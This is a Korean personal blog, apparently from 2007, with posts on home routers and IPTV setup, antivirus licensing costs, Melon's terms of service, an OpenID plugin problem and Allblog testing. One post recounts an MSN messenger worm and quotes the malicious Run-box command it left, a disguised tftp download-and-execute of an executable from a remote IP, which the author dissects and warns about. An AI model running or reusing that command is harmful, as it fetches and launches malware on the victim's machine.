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3월 31일에 있는 올블로그 미팅에 가게됐습니다~^^;;

카메라들고가서 사진 많~~ 이 찍어와야겠습니다.. ㅎㅎ
그나저나 숙제로 느껴지는 -.-;; 올블로그 카페 건의사항도 그렇고..
이것저것 해놓지 않은게 너무 많게 느껴집니다..;;

 

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Posted by 컴ⓣing
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사실..
저는 집에 유/무선 공유기가 3대나 있습니다.
남들한테 말하기도 껄끄럽지요...;; (무슨 사업을 하는 것도 아니고, 그렇다고 사무실도 아닌것이..)

각각을 보면..
1대 공유기 : 버팔로의 WBR2-G54
(원랜 WBR-G54모델이였는데 서비스 받으러 갔더니 해당모델 단종이라면서 상위 모델로 바꿔주더군요;;)
2대 공유기 : 링크시스 WRT54G
(운 좋게도.. 용산의 한 업체에서 이벤트를 할때 응모를 했는데 당첨됐습니다.. 그 성능 좋다는 v4 버전 모델이 왔더군요  ㅎㅎㅎ)
3대 공유기 : anygate RG-3500v2
(엄청!!! 제게 스트레스를 안겨준 녀석입니다. 제일 늦게 샀는데 서비스는 제일 많이 받았습니다..;; 지겨워죽겠습니다.. 환불받을 수 있었음 환불 받았음 좋겠습니다..)

어찌됐든간에..
버팔로 공유기는 군 복무를 할때 였던가.. 여튼 집에 랜선이 돌아다니는게 싫어서 무리해서 공유기와 무선랜카드를 무려 24만원인가 주고 구입했던 것입니다.. 이후 링크시스는 운이 좋아서 추가된 녀석이죠..

두 녀석을 WDS 기능을 활용해서 잘 사용하던 중에..
집에 갑자기 메가패스 TV를 설치하고 싶어졌습니다..

그래서 메가패스 TV에 필요한 장비를 물색하게 되었고..
이 역시 제 방에서 거실까지 랜선을 뽑기가 싫다는 이유로!!

제 방과 거실에 설치한 2개의 유무선 공유기를 WDS로 연결하고 거실측 공유기에 메가패스 TV장비를 물려서 서비스를 이용하려했었죠..

그.런.데
ㅡ.,ㅡ;;;;; 중대한 난관에 봉착하였습니다.
메가패스TV는 고정 IP가 필요하다는 것이였습니다..
(물론 메가패스를 함께 사용할 경우 2개의 IP를 KT에서 제공한다는 한다더군요..
1개는 유동, 1개는 고정..)


공유기에서 DMZ기능을 활용하면 될 줄 알았는데.. 알고봤더니 -_- 그게 아니더군요..
공유기에서 고정IP를 해당 장비까지 보내주려면..
메가패스 라인의 분기점인 제 방에서 하나의 스위치를 놓고 그 아래에서 2개의 공유기가 돌아야된다더군요;;

즉..

메가패스 라인 -> 스위치 -> PC들을 위한 공유기
                            └->메가패스 TV를 위한 공유기

위와 같은 방식이라는 거죠..;;
어찌됐든 확실한 건.. 스위치든 공유기든 총 3대가 필요하다는 것..

아.. 쓰린 속을 움켜잡고 구입한 anygate의 공유기..
근데 저희집에 온날부터 말썽이더군요;;

속도가 안나오는 것이였습니다..;;

결국 서비스를 보내서 받은 새 제품... (박스에 테스트를 했다는 체크가 붙어있더군요;;;)
한동안 잘 썼습니다.. 하지만 저희 동네에 곧 들어오게 된다는 FTTH를 대비해서..
파워콤을 해지하려고 테클을 걸 준비를 하던 차에..;; 업로드 속도가 형편없다는 점을 확인하게 됐죠..

결국 또 서비스 보낼판국입니다..;; 그냥 환불해달라고 할까요? ;;;


인터넷 업체에도 전화해서 속도 안나온다고 테클을 넣으면
상담원은 친절하게 대답해주죠..
"고객님의 장비가 이상하거나 공유기에 문제가 있을 수 있습니다"

그럼 전 싸악~!! 웃어주면서 한마디 날립니다.
"집에 서로다른 회사의 공유기가 3대가 있고, 컴퓨터가 3대가 있습니다.
서로 바꿔가면서 테스트했는데 동일한 증상인데 이래도 제 장비들의 문제인가요?"

ㅋㅋㅋㅋ
이후 상담원의 버벅임이 종종 느껴집니다..
사실 저처럼 해놓고 사는 사람이 몇이나 있겠습니까..;;;
(혼자 쓰는 컴텨가 에지간한 사무실PC보다 화려한 사양이니..;;)

참 재미있는 세상입니다.. ㅎㅎ

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Posted by 컴ⓣing
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회사에서 일하고 있는데 MSN메신저에 등록된 초등학교 친구로부터
파일이 하나 전송되었다..

평소에 대화를 잘 하지 않는 친구였는데..
갑자기 파일을 보내다니.. 이상하다 생각은 했지만.. 수락해서 받았고,
파일이름은 photo album.zip 이였다.

파일을 클릭해서 여니 photo album2007.pif 이라는 파일이 들어있었고,
다행이 압축을 특정 경로에 풀어서 실행한게 아니라 알집에서 더블클릭해서 오픈한 것이기에..
TMP 디렉토리에 풀리게 되었었다.

즉시 하우리 백신 프로그램에서 바이러스라는 경보를 띄우면서 차단했고
다행히 바이러스로 부터 탈출을 했다.


이상해서 친구에게 대화를 걸었더니 어제 바이러스에 감염되었다고 말하면서 다 잡은줄 알았는데 잘 모르겠다는
말도 이어졌다.

일단은 백신 프로그램을 받고 설치한 후에 인터넷 선을 제거하고 바이러스부터 잡으라는 말을 했다.

도스시절에야 F5키를 눌러서 부팅하고 V3로 모든 파일을 점검하면 끝이였으나 지금은 백신프로그램도
프로그램이기에 설치를 해야되서 초보자인 친구들에게 어떻게 하라..라는 설명을 하기도 무척이나 애매하다.



몇 시간뒤..
다시 메신저 창이 열리면서
hey man accept my new photo album.. :( ...
라는 내용이 떴다..그제서야 눈치챘고 확인해보니 바이러스가 확실했다.

네이버에 관련 뉴스가 떠서 링크를 해본다.

메신저로 급속 확산 ‘웜’ 주의보…메신저 전송 사진 열지 마세요


이후 뉴스에 나와있는 rdshost.dll 파일이 시스템에 존재하지 않을까 라는 우려로
파일찾기를 통해 검색하던 중.. 시스템이 심하게 버벅거리는 현상이 발생..
Windows 작업관리자를 호출, explorer.exe 프로세서를 죽이고 다시 실행하려고 들어갔는데..

실행창에 알수없는 명령이 남겨져있었다.

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 38.98.159.34 GET otdxxgcf.exe & start otdxxgcf&

대충 내용을 보니..
1. command prompt를 띄우고
2. user32.dll 파일을 고친다는 메시지를 띄우면서
3. 38.98.159.34 주소를 가진 호스트로 접속해서
4. otdxxgcf.exe파일을 받아서 실행해라.

이상하단 생각에..
일단 IP를 조회했다.

OrgName:    Performance Systems International Inc.
OrgID:      PSI
Address:    1015 31st St NW
City:       Washington
StateProv:  DC
PostalCode: 20007
Country:    US


미국 워싱턴에 있는 PSI 의 IP였다. 소득없이 허탕..
게다가 현재에 ping을 쏴봐도 응답이 없었다. 개인PC로 생각될뿐..

실행파일명을 구글에서 조회해도 아무런 결과는 없고..
(보나마나 뻔하다.. 임의로 생각되는 파일임이 분명..)


혹시 MSN메신저로 그러한 파일을 요청을 받은 적이 있는가?
그렇다면 시작버튼을 누르고 실행에서 명령 기록을 한번 확인해보십시오.

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자.. 여러분의 PC는 안전하십니까??

Posted by 컴ⓣing
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호스팅을 받고 있는 마루호스팅에서 메일이 왔습니다.

서버가 있는 하나로 IDC에서 전원 이중화를 요구하여 그렇게 된다고 하네요;;
작업시간은 29일(금요일) 0시부터 8시까지라고 합니다..

(흑흑;; 저 시간동안 블로그를 못하게 되다니..;;; 무척이나 안타깝습니다..;;)

사실은.. 못하는 것도 못하는 것이지만..

시험기간이 되면 TV에서 더욱 재미있는 것들을 하는 것처럼...
블로그를 사용 못하는 시간대에 쓰고픈 글이 생각나면 어떻게 해야하나... 라든지 말이죠-_-;;

그런 걱정들이 벌써부터 머리속을..
orz;;;


ps : 그나저나 말입니다;;; 전에 쓰던 호스팅회사도 하나로 IDC에 입주해있다그러던데...
어떻게 저는 호스팅을 결정하면 모두 하나로 IDC에 입주해있는 회사만을 골라내는 것일까요? 
거참 신기합니다..
 
Posted by 컴ⓣing
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요즘 거리를 걸으면 김태환선수와 김연아 선수의 이야기도 많이 들리고 광고에 대한 이야기도 많이 들리는 듯 싶다. 문득 그런 사람들의 관심과 언론의 보도를 들으며 한번쯤은 이런 이야기를 올려야겠다...라는 생각을 하다가 비로소 오늘에서야 올려본다.

사실 수영이나 피겨스케이팅은
축구나 야구처럼 대중화된 스포츠가 아니기에 그리고 언제 어디서나 손쉽게 즐길 수 있는 스포츠가 아니기에
김태환 선수나 김연아 선수가 이뤄낸 결과가 더욱 빛나보이는 듯 하다.

평소 국민들이 별로 관심을 가져주지 않는(!) 스포츠에서 이뤄낸 메달, 성적이기에 더욱 값질 수는 있다.

하지만 지금 이 시점에서 걱정이 된다.
언제나 그래왔지만.. 이러한 결과가 있을때마다 우리의 언론들은 우르르르..
소 몰이하듯이 여론을 이끌어 갔었고..
또 다른 사건, 사고가 있으면 그 곳으로 몰아갈 것이다.

지금 이러한 관심이 지속적인 것이 아닌 일시적인 것일 수 있다는 것이 염려된다.
언론이 휘저어놓은 거품이 빠지고 나면 이들 종목은 다시 한번
별로 관심을 가져주지 않는(!) 스포츠가 될 것이기 때문이다.


사실 개인적인 생각이지만.. 골프가 이러한 문제를 잘 피해갔다고 생각한다.
박세리선수의 쾌거이후 수많은 프로그램에서 박세리 선수를 띄웠고, 높은 학구열로 인하여
골프를 배우는 학생이 늘어났다. 스포츠 뉴스에서 골프를 다루는 시간도 늘어났고...

사실 그렇게 확장된 골프 신드롬이 박세리 선수 이전 만큼 줄어들었다고 생각하지는 않는다.
그래서 그나마 성공하지 않았나 생각해본다.

어제도 연습, 오늘도 연습, 내일도 묵묵히 연습하고 실력을 갈고 닦은 우리의 선수들이
국제사회에서 대한민국이라는 이름을 달고 조국의 이름을 날리고 돌아왔을 때
우리 사회가, 언론이 이들의 쾌거를 칭찬하고 기뻐하고 좀 더 많은 스포츠 환경을 이룰 수 있도록 할 수 있었음
좋겠다.

한때의 인기종목인냥 결과만 앞세워 떠들어대다가 거품처럼 사라져버리지 말고 말이다..

Posted by 컴ⓣing
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작년 7월경..
안철수 연구소에서 대대적인 기능 업그레이드를 알리며 런칭된
V3 Internet Security 2007.. (이하 V3 2007)

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가격이 50%할인된 33,000원이였기에 1년동안 한달에 3,000원정도만 아끼면 나에게 필요한 소프트웨어를 정품으로써 등록하고 등록고객으로써의 특혜를 누릴 수 있겠다 싶어 직접 안철수 연구소의 온라인 샵에서 구입을 했다.
(물론 이후 더 싼곳에서 파는 것을 보고 경악했었지만...)


어찌됐든 메일을 보고서 곰곰히 생각해봤더니
만료까지 이제 4개월쯤 남았기에 슬슬 재계약을 생각해야될 때가 된 듯 싶다.
재 계약을 하는 횟수만큼 가격이 계속 인하되고 6년차가 되면 상당히 저렴한 가격(19,800원)으로 재계약을 할 수 있기에 그 장점을 잘 이용하려 한다.


그러다가 문득 생각이 들었다.
현재 본인이 쓰는 컴퓨터만 3대.

집에서 쓰는 PC 1대, 노트북 1대, 사무실 PC 1대..
정말로 정품을 사용할 줄밖에 모르는 사용자라면, 무려 정품을 3개를 사야한다.

할인을 해서 아무리 가격을 낮췄다해도.. 그 대수가 늘어나면 늘어날수록..
다시금 생각하게 한다.

사실 둘러보면 33,000원이라는 돈을 가지고 무엇을 할 수 있는가?
가격이 인하된 메모리를 사도 512MB를 살 수 있고, USB 플래쉬 메모리를 사도 4GB제품을 살 수 있다.
하지만 무형의 가치이자, 한시적인 1년짜리 업데이트를 위해서 33,000원을 투자하고,
내가 가진 PC의 댓수만큼 그 가치를 치르라면..

즉, 내가 가진 3대의 PC만큼 V3를 구입한다라치면..
첫해에 할인을 해도 99,000원이라는 비용이 소요되고, 1년이 지나서 2년차 재계약을 해도..
건당 31,900원씩.. 무려 95,700원이라는 비용을 감수해야 한다.

이 돈이면 무엇을 할 수 있으리라 생각되는가?


정품 소프트웨어의 가격에 대한 이야기는 예전부터 말이 많았던 것이 사실이고
한때 우리나라 대표 워드프로세서인 한글과 컴퓨터의 부도 위기가 닥쳤을때
단돈 10,000원이라는 소프트웨어 가격은 많은 사람들로 하여금 정품 사용을 할 수 있도록 했었다.

그렇다고 해서 본인은 소프트웨어의 초기 가격 자체를 할인하자는 이야기가 아니다.

초고속 인터넷을 보면 IP를 추가 신청할 경우 신규 신청하는 것보다 절반도 안되는 가격에 IP를 제공하고 있다.
즉 이와 같이 가구당으로 계산해서 한 가구에 동일한 소프트웨어에 라이센스만 추가하는 요금을 추가 산정하여 부담을 줄여준다면 정품 사용자의 수가 늘어나지 않을까라는 생각을 해보게 된다.

솔직히.. 윈도와 같이 -_- DSP 버전의 정품을 구입해도 고객지원 안해준다..배째라.. 식이거나
애시당초 고객지원이 물 건너간 소프트웨어라면 가격이 정말 시장의 떨이가격 아니라면 사지 않겠지만.

백신과 같이 주기적으로 업데이트를 하고, 바이러스에 대한 문의를 받아주는등의 고객지원이 있는 소프트웨어라면 충분히 구입할만한 가치가 있다고 판단된다.


이 글을 읽으시는 분들..
혹시 지금 정품을 몇개나 사용하고 계시는지 궁금하다..
그리고 가격만 맞다면 구입하고 싶은 소프트웨어는 몇개나 되는지 여쭤보고 싶다.
Posted by 컴ⓣing
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3월 20일..
SKT에서 서비스하는 멜론 S/W에 대한 약관이 변경되었다면서 메일이 왔다.
그냥 그러려니..하고 냅뒀다가.. 휴대폰에 음악을 좀 넣을까 해서 프로그램을 받으려다가
한번 살펴봤다가..  정말 이건 아니다 라는 생각이 들어 포스팅을 한다.

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본인이 생각하는 문제 항목은 총 2개 항이다.
먼저 1항의 내용..
이용자의 PC 데이터를 수집한다고 되어있는데, 엄연히 개인 PC이다. 이에 대해서는 수집하는 데이터의 종류를 사전에 공지해야된다는 것이 본인의 생각이다. 즉, 멜론 소프트웨어 구동과 관련한 데이터를 수집하고, 이에 포함되는 데이터는 무엇무엇이 있다. 라고 해야된다는 것이 본인의 주장

다음 3항의 내용
네트워크 장비를 임의로 사용한다는 것. 사실 사용자의 입장에서도 네트워크 장비를 어떻게 할 수 있는 것은 없다 단지 트래픽을 좀 더 사용하겠다라고 명확히 구분해야 할 것이다. 두루뭉실한 약관은 소비자에게 피해를 줄 여지가 다분하다.

또한 스토리지를 임의로 사용한다는 것은 해석하기 나름이겠지만, 사용자의 PC내의 데이터를 마음대로 사용하겠다는 이야기가 될 수도 있다. 개인의 데이터를 임의로 사용한다라고 해석될 수도 있다. 특정 소프트웨어가 자신의 데이터를 임의로 사용한다면 기분이 좋을 사용자는 하나도 없다. 이 역시 어느어느 데이터를 사용하겠다라고 명시를 해야될 것이라 생각한다.

마지막에 있는 이용자가 의도하지 않아도 PC에서 자동으로 가동될 수 있다. 이것은 엄연히 문제가 있는 항목이다. 삭제되어야 된다고 생각한다. 소프트웨어의 약관은 해당 소프트웨어가 실행될때 적용받는 것이다. 하지만 사용자가 원치 않는데 실행된다는 것은 사용자의 소프트웨어 선택권을 저해하는 행동이라는 것을 잊어서는 안된다.


클럽박스와 같은 소프트웨어는 사용자의 네트워크 자원을 빌려쓰는 대가로 특정 포인트를 지급하고 있으며, 사용자가 원치 않을 경우 프로그램 종료를 통해서 혜택도 포기할 수 있다. 즉, 사용자가 필요로 할때에만 해당 소프트웨어를 사용하고, 특혜를 받는다는 말이며, 이 소프트웨어를 사용함에 있어 본인에게 불필요하다면 특혜를 포기하고 소프트웨어를 사용하지 않을 수 있다는 것이다.

하지만 멜론의 경우 SKT사용자라면 멜론 웹 사이트를 통하지 않고서 mp3를 구입할 수 없으며, 개인 소유의 mp3를 넣는다해도 멜론 소프트웨어를 사용해야 하는 독점 소프트웨어이다. 독점적 지위를 이용하여 이 소프트웨어를 사용해야만 하는 상황에서 이 소프트웨어를 사용하면 이렇게 사용자의 자원을 사용하겠다.라고 약관에 넣는다는 것은 분명 올바른 행동은 아니라는 생각이 든다.

기업이 사용자에게 제공하는 것이 있으면 그 대가로 사용자도 무엇인가를 제공하게 된다.
그것은 서비스에 대한 대가일 수도 있고 사용자가 보유한 리소스의 일부를 공유할 수도 있을 것이다.
하지만 지금 멜론의 처사는 공평하게 주고 받는 것이 아니라 기업의 입장에서 더 유리한 약관을 작성한 것 같다.

반드시 고쳐져야 될 기업과 사용자간의 약속이 아닐까?

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Posted by 컴ⓣing
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요 몇일 계속 블로그에 포스팅하는 주제가..
블로그에 대한 것.. 태터툴즈에 대한 것들이였던 듯 합니다..

그냥 단순하게 일상을 기록해보려고 시작했던 것 같은데..
일기를 대신하려고 했었더라는...
(사실 이젠 그렇게 하기엔 너무도 늦어버렸단 생각이 듭니다..)

자려고 침대에 누웠다가..
시끄럽게 팬소리를 내며 돌아가는 간이 파일 서버를 끄려고 PDA를 켰습니다.
관리페이지에 접속해서 서버 전원을 내리고..

우연히 잘못 클릭한 네이버PDA페이지에서 메일로 도착한 Blog 알림이 메일을 보고
블로그에 접속했다가.. 홧김에..노트북까지 켜버렸습니다..

안경을 안 쓰고 불이꺼진 방, 침대위에서 노트북으로 포스팅을 하니까 생각보다 오타도 많이 나는군요;
이 야심한 밤에 잠을 못이루고 무엇을 하고있는지 스스로에게 물어보고 싶어집니다..


이젠 정말 자야겠습니다.


이글을 보신 모든 분들께 월요일 아침..
묵직한 삶의 무게가 아닌 상큼한 오렌지같은 하루가 되시길 바래봅니다..

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OpenID실종사건..;;

BlogStory 2007. 3. 25. 22:49

제 블로그에 자주 방문해주시는 chanyy님이 댓글로..
OpenID가 안된다는 댓글을 남겨주셨기에.. ;;

낼름 테스트에 들어갔습니다..

OpenID를 사용하는 블로그에서 정상적으로 제 ID등이 인증되는 것을 확인하고..

제 블로그에서 관리자 로그아웃후에 OpenID로 인증을 시도..

이럴수가.. 페이지를 찾을 수 없다고 나오거나
빈 페이지에서 완료.. 가 떠버리더군요_-_

그래서 플러그인을 비활성화하고..
파일 싹 지우고..

다시 올려서 활성화를 했습니다..

그런데 이때부터 신기한 현상이 왕왕 발생하기 시작했습니다-_-

관리자 로그아웃 상태인데.. 비밀글의 내용이 보이기 시작하더니만..
OpenID 플러그인이 활성화되어있는데 OpenID 로그인을 위한 링크가 안뜨더군요;;

이거..머 -_- 따로 설정하는게 있으면 어떻게 해보겠는데..
설정도 없고.. 다른 분들은 잘 사용하고 있는 플러그인이고 저도 얼마전까지 잘 사용했었는데..

무식할땐 들이대는게 상책이라고 생각..
플러그인 폴더를 들어가서 ls를 딱 쳤습니다..

우수수수...떨어지는 파일들..
이게 다 뭐지.. .@_@;;

그냥 포기했습니다.... 프로그래밍 쥐뿔도 모르는데..

플러그인의 디렉토리를 정리한다고.. 몇몇 플러그인의 디렉토리명을 바꾼게 화근이 아닌가 싶기도 합니다..;;

Posted by 컴ⓣing
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23일에 올블로그 알파테스트 메일을 받고 이것 저것 끄적이고는 있는데..

시간은 2일이란 시간이 지났지만..
아무래도 알파테스트라는 것보다는 허우적대는 시간이 대부분인듯하다.

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베타 테스트라는 것은 해봤어도.. 알파테스트라는 것을 처음 해보는지라 ( --)
(괜히 빠져나갈 구멍을 만들어두는 듯한 느낌이다..)

어찌됐든..
이것저것 해본 결과..

카페라는 것을 잘 활용하면 좁은 의미에서는 지인들사이에 서로 커뮤니케이션을 위한 공간으로도 활용하능하겠지만.. 더불어 특정 제품의 사용자간의 공간.. 포털등의 다양한 카페등.. 으로도 발전할 수 있을 것이란 생각도 든다.

물론 그러려면..
올블로그의 글 수집단계에서 이 글이 관련있는 카페로도 수집되길 원하는지 물어보는 단계도 거쳐야 되리라 생각이 들기도 하고.. 수집되면 내 글이 수집된 카페.. 라고 해서 확인도 할 수 있어야 할 것 같고.. 만약에 관련없는 글이 수집되었다면 카페의 마스터가 수집 취소를 하는 일도 거쳐야 될지 모르겠지만.. (.. 일단 써놓고 보니까 상당히 막막..함..이 )


그냥 단순히 친구들끼리의 친목을 위한 카페라면..
태그에 친구들과 약속한 태그를 넣어주면 되겠단 생각도 들고..
(사실 제대로 되고 있는지도 확인을 못하고 있다.. 카페에서 글 수집버튼을 누르면 기약없이 계속 그래프만 돌고 있고 끝나지 않기에.. 알파테스트여서 그러려니 하면서도.. 혹시 글을 내가 잘못 쓴건 아닌가 하는 생각도 든다.)

어찌됐든간에..
복잡하다 -ㅠ-;;; 새로운 것을 접한다는 것은 역시 힘들다...
Posted by 컴ⓣing
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